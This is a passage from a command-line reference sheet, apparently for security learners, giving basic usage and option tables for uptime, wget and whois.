Arguments | Argument | Value | Description | |----------|-------|-------------| | `-p` | - | Show uptime in a human-readable format (e.g. "up 2 hours, 30 minutes") | | `-s` | - | Show the date and time the system was last started |


Wget

wget is a non-interactive network downloader. Primarily used to download files from the web and useful for testing download speeds and connectivity.

Download a file.

wget <url>
wget https://example.com/file.txt

Save to a specific filename.

wget -O <filename> <url>

Download in the background.

wget -b <url>

Continue an interrupted download.

wget -c <url>

Mirror a website.

wget -m <url>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-O` | `` | Save output to a specific filename | | `-b` | - | Run in background | | `-c` | - | Continue/resume an interrupted download | | `-q` | - | Quiet mode (no output) | | `-r` | - | Recursive download | | `--no-check-certificate` | - | Skip SSL certificate verification |


Whois

whois queries the WHOIS database for domain registration information. Useful for gathering information about domain owners, registrars, and registration dates.

Query WHOIS information for a domain.

whois <domain>
whois tryhackme.com

Query WHOIS for an IP address.

whois <ip>
Arguments | Argument | Value | Description | |----------|-------|-------------| | `-h` | `` | Use a specific WHOIS server | | `-p` | `` | Connect to a specific port |